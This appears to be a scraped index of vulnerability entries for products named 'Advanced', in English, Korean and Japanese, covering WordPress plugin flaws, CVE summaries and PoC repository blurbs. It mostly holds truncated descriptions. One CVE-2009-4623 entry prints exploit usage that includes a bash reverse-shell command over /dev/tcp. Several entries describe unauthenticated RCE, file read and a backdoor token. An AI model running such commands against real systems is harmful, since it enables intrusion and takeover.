WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting

WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of th...

WordPress Advanced Access Manager - Path Traversal

The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive file...

Advanced Responsive Video Embedder 10.8.7/10.8.8 - Hardcoded Backdoor Authentication Bypass

The compromised Advanced Responsive Video Embedder WordPress plugin releases 10.8.7 and 10.8.8 accept a hardcoded token through the wplogin parameter and establish an authenticated administrator session before normal authentication. A single unauthenticated GET request triggers the backdoor. This...

CVE-2009-4623

CVE-2009-4623 Advanced Comment System 1.0 리버스 셸 Advanced Comment System 1.0의 여러 PHP 원격 파일 포함 취약점으로 인해, 원격 공격자가 advancedcommentsystem/ 디렉터리 내의 1 index.php 및 2 admin.php에 대해 ACSpath 매개변수에 URL을 제공하여 임의의 PHP 코드를 실행할 수 있습니다. 참고: 이 취약점은 관리자가 install.php의 설치 지침을 따르지 않은 경우에만 발생할 수 있습니다...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 IoC 탐지 도구 이 스크립트는 root 권한을 가진 사용자가 F5 BIG-IP의 Advanced Shellbash에서 로컬로 실행하도록 설계되었으며, 다른 환경에서 실행하기 위한 것이 아닙니다. 참고: Appliance Mode에서는 Advanced Shell에 접근할 수 없으므로 이 도구는 해당 시스템에서 실행할 수 없습니다. 이 스크립트는 작성 당시 F5 Networks에 알려진 CVE-2020-5902와 관련된 침해 지표IoCs에 대해 BIG-IP를 검사합니다. 스크립트는 이러한 IoC를 수집하...

CVE-2009-4623

고급 댓글 시스템 1.0 - 원격 명령 실행 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 예제 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2024-25503

CVE-2024-25503 취약점 유형 : Cross Site Scripting XSS 제품: Advanced REST Client 데스크톱 애플리케이션 취약한 버전: 17.0.9 제품 공급업체:https://www.advancedrestclient.com/ 1. 설명 Advanced REST Client v.17.0.9의 XSSCross-Site Scripting 취약점으로 인해 원격 공격자가 임의 코드를 실행하고 민감한 정보를 얻을 수 있습니다. 이는 New Project 함수의 'edit details' 매개변수 내에서...

WordPress Advanced IP Blocker plugin <= 8.13.13 - Unauthenticated Authentication Bypass vulnerability

Unauthenticated Authentication Bypass vulnerability discovered by Wordfence PRISM in WordPress Plugin Advanced IP Blocker versions = 8.13.13...

WordPress Advanced Form Integration plugin <= 2.9.0 - Unauthenticated Unverified Password Change to Authentication Bypass / Privilege Escalation via Contact Form 7 Submission to Ultimate Member Update Profile Field Action vulnerability

Unauthenticated Unverified Password Change to Authentication Bypass / Privilege Escalation via Contact Form 7 Submission to Ultimate Member Update Profile Field Action vulnerability discovered by wachiss - Datafarm Co., Ltd. in WordPress Plugin Advanced Form Integration versions = 2.9.0...

WordPress Advanced Classifieds & Directory Pro plugin <= 3.4.4 - Authenticated (Custom+) Stored Cross-Site Scripting vulnerability

Authenticated Custom+ Stored Cross-Site Scripting vulnerability discovered by Ivaylo in WordPress Plugin Advanced Classifieds & Directory Pro versions = 3.4.4...

CVE-2025-13486

CVE-2025-13486 대량 익스플로잇 Advanced Custom Fields: Extended 0.9.0.5 - 0.9.1.1 - prepareform에서 인증 없는 원격 코드 실행 ⚠️ 취약점 세부 정보 WordPress용 Advanced Custom Fields: Extended 플러그인은 0.9.0.5부터 0.9.1.1 버전까지 prepareform 함수를 통해 원격 코드 실행에 취약합니다. 이는 함수가 사용자 입력을 받아 calluserfuncarray로 전달하기 때문입니다. 이를 통해 인증되지 않은 공격자가...

Advanced Comment System 1.0 - Local File Inclusion

ACS Advanced Comment System 1.0 is affected by local file inclusion via an advancedcomponentsystem/index.php?ACSpath=..%2f URI. id: CVE-2020-35598 info: name: Advanced Comment System 1.0 - Local File Inclusion author: daffainfo severity: high description: ACS Advanced Comment System 1.0 is affect...

Important: Red Hat Security Advisory: RHACS 4.11.5 security and bug fix update

Updated images are now available for Red Hat Advanced Cluster Security RHACS, which typically include new features, bug fixes, and/or security patches. See the release notes link in the references section for a description of the fixes and enhancements in this particular release...

CVE-2025-1868

CVE-2025-1868: Advanced IP Scanner 및 Advanced Port Scanner NTLM 누출 HTTP 테스터 NTLM 핸드셰이크를 트리거하고 NTLM Type 3 메시지에서 클레임된 도메인 , 사용자 , 워크스테이션 을 추출하는 소형 도커화된 PHP 앱입니다. 비밀번호를 검증하지 않습니다. 챌린지를 저장하지 않습니다. 클레임된 ID와 요청 메타데이터만 기록합니다. 스캐너 또는 문제 해결 워크플로가 HTTP를 통해 아웃바운드 NTLM 인증을 유발하는지 확인하는 데 유용합니다. 중요: 호스트 포트 80 ...

CVE-2014-3551

CVE-2014-3551 Moodle 2.3.11까지, 2.4.x 2.4.11 미만, 2.5.x 2.5.7 미만, 2.6.x 2.6.4 미만, 2.7.x 2.7.1 미만에서 고급 채점 구현에 여러 사이트 간 스크립팅XSS 취약점이 존재합니다. 이를 통해 원격 인증 사용자는 루브릭에서 조작된 1 자격 또는 2 평점 필드를 통해 임의의 웹 스크립트나 HTML을 주입할 수 있습니다. 취약한 등급 필드 ../mod/assign/view.php?id=id&rownum=0...

CVE-2018-16713

CVE-2018-16713 CVE-2018-16713 の PoC コード。 詳しくは @ https://downwithup.github.io/CVEPosts.html をご覧ください 影響を受けるソフトウェア ダウンロード @: https://www.iobit.com/en/advancedsystemcarefree.php...

dlr-ne-ics-security

ICSセキュリティゲームのためのDLR-NE 高度標的型攻撃と移動標的防御の間の確率ゲームに対する動的低ランク均衡計算 通常論文、 Automatica にて査読中（2026年10月再投稿） 概要 本リポジトリは、高次元産業制御システム（ICS）セキュリティゲームにおけるナッシュ均衡を計算するための動的低ランクナッシュ均衡（DLR-NE）アルゴリズムの実装と実験的検証を含んでいます。 高度標的型攻撃（APT）と 移動標的防御（MTD）の間の戦略的相互作用は、次元 $n \sim 10^3$–$10^4$...

cve-2024-32002-hook

고급 성능 확장 데이터 처리 워크로드를 위한 필수 최적화...

CVE-2018-16711

CVE-2018-16711 CVE-2018-16711 の PoC コード 詳細は @ https://downwithup.github.io/CVEPosts.html をご覧ください 影響を受けるソフトウェア ダウンロード @: https://www.iobit.com/en/advancedsystemcarefree.php...

CVE-2026-12793

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-12793 CVE-2026-12793 JetFormBuilder 3.6.2 - jetmonsters 私は @abraxasnull です。ループバックラボです。クライアントは CVE-2026-12793-Abraxas-Labs.py です。 アドバイザリはフィールドを名指ししていました。jetenginebookingformid は POST フィールドであり、HTTP の action=...